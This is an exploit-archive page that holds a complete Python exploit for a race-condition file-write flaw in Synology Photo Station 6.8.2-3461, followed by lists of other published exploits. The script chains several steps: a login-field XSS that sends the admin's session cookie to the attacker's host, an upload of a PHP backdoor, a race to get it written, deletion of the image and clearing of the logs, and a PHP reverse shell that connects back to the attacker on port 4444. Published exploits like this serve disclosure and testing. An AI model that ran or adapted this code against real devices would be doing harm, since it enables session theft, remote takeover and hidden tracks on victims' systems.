Menu

Search for hundreds of thousands of exploits

"Synology Photo Station 6.8.2-3461 - 'SYNOPHOTO_Flickr_MultiUpload' Race Condition File Write Remote Code Execution"

Author

Exploit author

mr_me

Platform

Exploit platform

hardware

Release date

Exploit published date

2018-01-15

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
#!/usr/local/bin/python
"""
Synology Photo Station <= 6.8.2-3461 (latest) SYNOPHOTO_Flickr_MultiUpload Race Condition File Write Remote Code Execution Vulnerability
Found by: mr_me
Tested: 6.8.2-3461 (latest at the time)
Vendor Advisory: https://www.synology.com/en-global/support/security/Synology_SA_18_02

# Summary:
==========

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Synology Photo Station. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed.
The specific flaw exists within the SYNOPHOTO_Flickr_MultiUpload function. When parsing the prog_id parameter, the process does not properly validate a user-supplied string before using it to execute a call to file_put_contents. An attacker can leverage this vulnerability to execute code under the context of the PhotoStation user.

# Example:
==========

saturn:synology mr_me$ ./sinology.py 192.168.100.9 en0

    Synology Photo Station SYNOPHOTO_Flickr_MultiUpload Race Condition File Write Remote Code Execution Vulnerability
    mr_me

(+) waiting for the admin...
(+) stolen: qt4obchbqfss2ap9ct9nb1i534
(+) updated the settings!
(+) wrote php code!
(+) attempting race condition...
(+) won the race!
(+) rce is proven!
(+) deleted the image and scrubbed the logs!
(+) starting handler on port 4444
(+) connection from 192.168.100.9
(+) pop thy shell!
id
uid=138862(PhotoStation) gid=138862(PhotoStation) groups=138862(PhotoStation)
"""

import sys
import socket
import requests
import telnetlib
from threading import Thread
from base64 import b64encode as b64e
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler

try:
    import netifaces as ni
except:
    print "(-) try 'pip install netifaces'"
    sys.exit(1)

# haven't pwned yet
pwned = False

class xss(BaseHTTPRequestHandler):
    def log_message(self, format, *args):
        return
    def do_GET(self):
        global s

        # incase the referer isn't set, its coming from someone else
        try:
            referer = self.headers.get('Referer')
        except:
            referer = ""

        # of course this isn't bullet proof, but its enough for a poc
        if t in referer:
            if "PHPSESSID" in self.path:
                s = self.path.split("=")[1]
                print "(+) stolen: %s" % s
                pwned = True
                self.send_response(200)
                self.end_headers()
        return

def _build_bd(raw=False):
    php = "<?php file_put_contents('si.php','<?php eval(base64_decode($_SERVER[HTTP_SIN]));');die('done'); ?>.gif"
    if raw == True:
        return php
    return "photo_2f_%s" % (php.encode("hex"))

def we_can_set_settings(target, session):
    uri = "http://%s/photo/admin/share_setting.php" % target
    d = {
        "action" : "set_setting",
        "social_flickr" : "on",
        "share_upload_orig" : "on"
    }
    c = { "PHPSESSID" : session }
    r = requests.post(uri, data=d, cookies=c).json()
    if "success" in r:
        if r["success"] == True:
            return True
    return False

def we_can_upload(target, session):
    uri = "http://%s/photo/webapi/file.php" % (target)
    p = { "SynoToken" : session }
    c = { "PHPSESSID" : session }

    # valid gif, important
    gif  = "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x00"
    gif += "\x00\x00\x21\xf9\x04\x01\x00\x00\x00\x00\x2c"
    gif += "\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02"
    f = { "original": ("si.gif", gif) }
    d = {
        "api": "SYNO.PhotoStation.File", 
        "method" : "uploadphoto",
        "version" : 1,
        "dest_folder_path": "",
        "duplicate" : "rename",
        "mtime": "1513540164787",
        "filename" : _build_bd(True)
    }
    r = requests.post(uri, params=p, files=f, cookies=c, data=d).json()
    if "success" in r:
        if r["success"] == True:
            return True
    return False

def race(target):
    r = ""
    while("done" not in r):
        r = requests.get("http://%s/photo/pwn.php" % target).text
    return True 

def we_won_race(target, session, racing_thread):
    while(racing_thread.isAlive()):
        uri = "http://%s/photo/SocialNetwork/flickr.php" % target
        d = {
            "prog_id" : "../../volume1/@appstore/PhotoStation/photo/pwn.php",
            "action" : "multi_upload",
            "token" : 1,
            "secret" : "",
            "photoList" : _build_bd()
        }
        c = { "PHPSESSID": session }
        requests.post(uri, cookies=c, data=d)
    return True

def build_php_code():
    phpkode  = ("""
    @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);""")
    phpkode += ("""$dis=@ini_get('disable_functions');""")
    phpkode += ("""if(!empty($dis)){$dis=preg_replace('/[, ]+/', ',', $dis);$dis=explode(',', $dis);""")
    phpkode += ("""$dis=array_map('trim', $dis);}else{$dis=array();} """)
    phpkode += ("""if(!function_exists('LcNIcoB')){function LcNIcoB($c){ """)
    phpkode += ("""global $dis;if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {$c=$c." 2>&1\\n";} """)
    phpkode += ("""$imARhD='is_callable';$kqqI='in_array';""")
    phpkode += ("""if($imARhD('popen')and!$kqqI('popen',$dis)){$fp=popen($c,'r');""")
    phpkode += ("""$o=NULL;if(is_resource($fp)){while(!feof($fp)){ """)
    phpkode += ("""$o.=fread($fp,1024);}}@pclose($fp);}else""")
    phpkode += ("""if($imARhD('proc_open')and!$kqqI('proc_open',$dis)){ """)
    phpkode += ("""$handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes); """)
    phpkode += ("""$o=NULL;while(!feof($pipes[1])){$o.=fread($pipes[1],1024);} """)
    phpkode += ("""@proc_close($handle);}else if($imARhD('system')and!$kqqI('system',$dis)){ """)
    phpkode += ("""ob_start();system($c);$o=ob_get_contents();ob_end_clean(); """)
    phpkode += ("""}else if($imARhD('passthru')and!$kqqI('passthru',$dis)){ob_start();passthru($c); """)
    phpkode += ("""$o=ob_get_contents();ob_end_clean(); """)
    phpkode += ("""}else if($imARhD('shell_exec')and!$kqqI('shell_exec',$dis)){ """)
    phpkode += ("""$o=shell_exec($c);}else if($imARhD('exec')and!$kqqI('exec',$dis)){ """)
    phpkode += ("""$o=array();exec($c,$o);$o=join(chr(10),$o).chr(10);}else{$o=0;}return $o;}} """)
    phpkode += ("""$nofuncs='no exec functions'; """)
    phpkode += ("""if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){ """)
    phpkode += ("""$s=@fsockopen('tcp://%s','%d');while($c=fread($s,2048)){$out = ''; """ % (cb_host, cb_port))
    phpkode += ("""if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """)
    phpkode += ("""}elseif (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit'){break;}else{ """)
    phpkode += ("""$out=LcNIcoB(substr($c,0,-1));if($out===false){fwrite($s,$nofuncs); """)
    phpkode += ("""break;}}fwrite($s,$out);}fclose($s);}else{ """)
    phpkode += ("""$s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);@socket_connect($s,'%s','%d'); """ % (cb_host, cb_port))
    phpkode += ("""@socket_write($s,"socket_create");while($c=@socket_read($s,2048)){ """)
    phpkode += ("""$out = '';if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """)
    phpkode += ("""} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') { """)
    phpkode += ("""break;}else{$out=LcNIcoB(substr($c,0,-1));if($out===false){ """)
    phpkode += ("""@socket_write($s,$nofuncs);break;}}@socket_write($s,$out,strlen($out)); """)
    phpkode += ("""}@socket_close($s);} """)
    return phpkode

def exec_code(target):
    handlerthr = Thread(target=handler, args=(cb_port,))
    handlerthr.start()
    we_can_exec_php(target, b64e(build_php_code()))
 
def handler(lport):
    print "(+) starting handler on port %d" % lport
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", lport))
    s.listen(1)
    conn, addr = s.accept()
    print "(+) connection from %s" % addr[0]
    t.sock = conn
    print "(+) pop thy shell!"
    t.interact()

def we_can_exec_php(target, php):
    h = { "SIN" : php }
    r = requests.get("http://%s/photo/si.php" % target, headers=h)
    if r.text == "pwn":
        return True
    return False

def we_can_clean_up(target, session):
    uri = "http://%s/photo/webapi/photo.php" % target

    d = {
        "api": "SYNO.PhotoStation.Photo", 
        "method" : "delete",
        "version" : 1,
        "id" : _build_bd()
    }
    c = { "PHPSESSID" : session }
    h = { "X-SYNO-TOKEN" : session }
    r = requests.post(uri, cookies=c, data=d, headers=h).json()
    if "success" in r:
        if r["success"] == True:
            return True
    return False

def banner():
    return """\n\tSynology Photo Station SYNOPHOTO_Flickr_MultiUpload Race Condition File Write Remote Code Execution Vulnerability\n\tmr_me\n"""

def do_xss(target, ip):
    j = "\"><img src=x onerror=this.src=\"http://%s:9090/?\"+document.cookie>" % ip
    d = {
        "api" : "SYNO.PhotoStation.Auth",
        "method" : "login",
        "version" : 1,
        "username" : j,
        "password" : "WAT",
        "enable_syno_token" : "true"
    }
    r = requests.post("http://%s/photo/webapi/auth.php" % target, data=d).json()

def we_can_clear_logs(target, session):
    c = { "PHPSESSID" : session }
    p = { "SynoToken" : session }
    d = {
        "api": "SYNO.PhotoStation.PhotoLog", 
        "method" : "clear",
        "version" : 1,
    }
    r = requests.post("http://%s/photo/webapi/log.php" % target, data=d, params=p, cookies=c).json()
    if "success" in r:
        if r["success"] == True:
            return True
    return False

def start_pain_train(t, s):
    if we_can_set_settings(t, s):
        print "(+) updated the settings!"
        if we_can_upload(t, s):
            print "(+) wrote php code!"
            print "(+) attempting race condition..."
            r = Thread(target=race, args=(t,))
            r.start()
            if we_won_race(t, s, r):
                print "(+) won the race!"
                if we_can_exec_php(t, b64e('`rm pwn.php`;echo "pwn";')):
                    print "(+) rce is proven!"
                    if we_can_clean_up(t, s) and we_can_clear_logs(t, s):
                        print "(+) deleted the image and scrubbed the logs!"
                        exec_code(t)

def keep_running():
    if pwned == True:
        return False
    return True

def main():
    print banner()
    global cb_host, cb_port, s, t
    if len(sys.argv) != 3:
        print "(+) usage: %s <target> <interface>" % sys.argv[0]
        print "(+) eg: %s 192.168.100.9 en0" % sys.argv[0]
        sys.exit(1)

    s       = ""
    t       = sys.argv[1]
    cb_port = 4444

    try:
        cb_host = ni.ifaddresses(sys.argv[2])[2][0]['addr']
    except:
        print "(-) no ip address associated with that interface!"
        sys.exit(1)

    do_xss(t, cb_host)

    try:
        server = HTTPServer(('0.0.0.0', 9090), xss)
        print '(+) waiting for the admin...'
        while keep_running():
            server.handle_request()

    except KeyboardInterrupt:
        print '(+) shutting down the web server'
        server.socket.close()

    if s != "":
        start_pain_train(t, s)

if __name__ == "__main__":
    main()
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-11-30 "Intelbras Router RF 301K 1.1.2 - Authentication Bypass" webapps hardware "Kaio Amaral"
2020-11-30 "ATX MiniCMTS200a Broadband Gateway 2.0 - Credential Disclosure" webapps hardware "Zagros Bingol"
2020-11-27 "Ruckus IoT Controller (Ruckus vRIoT) 1.5.1.0.21 - Remote Code Execution" webapps hardware "Emre SUREN"
2020-11-24 "Seowon 130-SLC router 1.0.11 - 'ipAddr' RCE (Authenticated)" webapps hardware maj0rmil4d
2020-11-23 "TP-Link TL-WA855RE V5_200415 - Device Reset Auth Bypass" webapps hardware malwrforensics
2020-11-19 "Fortinet FortiOS 6.0.4 - Unauthenticated SSL VPN User Password Modification" webapps hardware "Ricardo Longatto"
2020-11-19 "Genexis Platinum 4410 Router 2.1 - UPnP Credential Exposure" remote hardware "Nitesh Surana"
2020-11-16 "Cisco 7937G - DoS/Privilege Escalation" remote hardware "Cody Martin"
2020-11-13 "ASUS TM-AC1900 - Arbitrary Command Execution (Metasploit)" webapps hardware b1ack0wl
2020-11-13 "Citrix ADC NetScaler - Local File Inclusion (Metasploit)" webapps hardware "RAMELLA Sebastien"
Release Date Title Type Platform Author
2020-02-06 "Cisco Data Center Network Manager 11.2.1 - 'getVmHostData' SQL Injection" webapps java mr_me
2020-02-06 "Cisco Data Center Network Manager 11.2 - Remote Code Execution" webapps java mr_me
2020-02-06 "Cisco Data Center Network Manager 11.2.1 - 'LanFabricImpl' Command Injection" webapps java mr_me
2019-12-12 "ManageEngine Desktop Central - 'FileStorage getChartImage' Deserialization / Unauthenticated Remote Code Execution" webapps multiple mr_me
2019-05-17 "Cisco Prime Infrastructure Health Monitor HA TarArchive - Directory Traversal / Remote Code Execution" remote linux mr_me
2018-08-20 "Easylogin Pro 1.3.0 - 'Encryptor.php' Unserialize Remote Code Execution" remote php mr_me
2018-06-25 "Foxit Reader 9.0.1.1049 - Remote Code Execution" remote windows mr_me
2018-01-28 "Trend Micro Threat Discovery Appliance 2.6.1062r1 - 'dlp_policy_upload.cgi' Remote Code Execution" remote linux mr_me
2018-01-15 "Synology Photo Station 6.8.2-3461 - 'SYNOPHOTO_Flickr_MultiUpload' Race Condition File Write Remote Code Execution" remote hardware mr_me
2018-01-03 "Kingsoft Antivirus/Internet Security 9+ - Local Privilege Escalation" local windows mr_me
2017-10-30 "Oracle Java SE - Web Start jnlp XML External Entity Processing Information Disclosure" webapps xml mr_me
2017-09-12 "Jungo DriverWizard WinDriver < 12.4.0 - Kernel Pool Overflow / Local Privilege Escalation (2)" local windows mr_me
2017-09-06 "Jungo DriverWizard WinDriver < 12.4.0 - Kernel Out-of-Bounds Write Privilege Escalation" local windows mr_me
2017-09-06 "Jungo DriverWizard WinDriver < 12.4.0 - Kernel Pool Overflow / Local Privilege Escalation (1)" local windows mr_me
2017-07-05 "Lepide Auditor Suite - 'createdb()' Web Console Database Injection / Remote Code Execution" remote php mr_me
2016-05-09 "Dell SonicWALL Scrutinizer 11.0.1 - setUserSkin/deleteTab SQL Injection Remote Code Execution" remote windows mr_me
2016-03-28 "Cogent Datahub 7.3.9 Gamma Script - Local Privilege Escalation" local windows mr_me
2016-03-07 "ATutor LMS - '/install_modules.php' Cross-Site Request Forgery / Remote Code Execution" webapps php mr_me
2012-06-15 "Useresponse 1.0.2 - Privilege Escalation / Remote Code Execution" webapps php mr_me
2012-06-14 "XM Easy Personal FTP Server 5.30 - Remote Format String Write4" remote windows mr_me
2011-12-23 "Open Conference/Journal/Harvester Systems 2.3.x - Multiple Remote Code Execution Vulnerabilities" webapps php mr_me
2011-12-09 "Docebo Lms 4.0.4 - 'Messages' Remote Code Execution" webapps php mr_me
2011-12-04 "Family Connections CMS 2.5.0/2.7.1 - 'less.php' Remote Command Execution" webapps php mr_me
2011-09-22 "Cogent Datahub 7.1.1.63 - Remote Unicode Buffer Overflow" remote windows mr_me
2011-09-12 "ScadaTEC ModbusTagServer & ScadaPhone - '.zip' Local Buffer Overflow" local windows mr_me
2011-07-31 "Actfax FTP Server 4.27 - 'USER' Stack Buffer Overflow (Metasploit)" remote windows mr_me
2011-06-20 "Black Ice Cover Page SDK - Insecure Method 'DownloadImageFileURL()' (Metasploit)" remote windows mr_me
2011-06-20 "Black Ice Fax Voice SDK 12.6 - Remote Code Execution" remote windows mr_me
2011-03-11 "Linux NTP query client 4.2.6p1 - Heap Overflow" dos linux mr_me
2011-03-09 "Maian Weblog 4.0 - Blind SQL Injection" webapps php mr_me
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.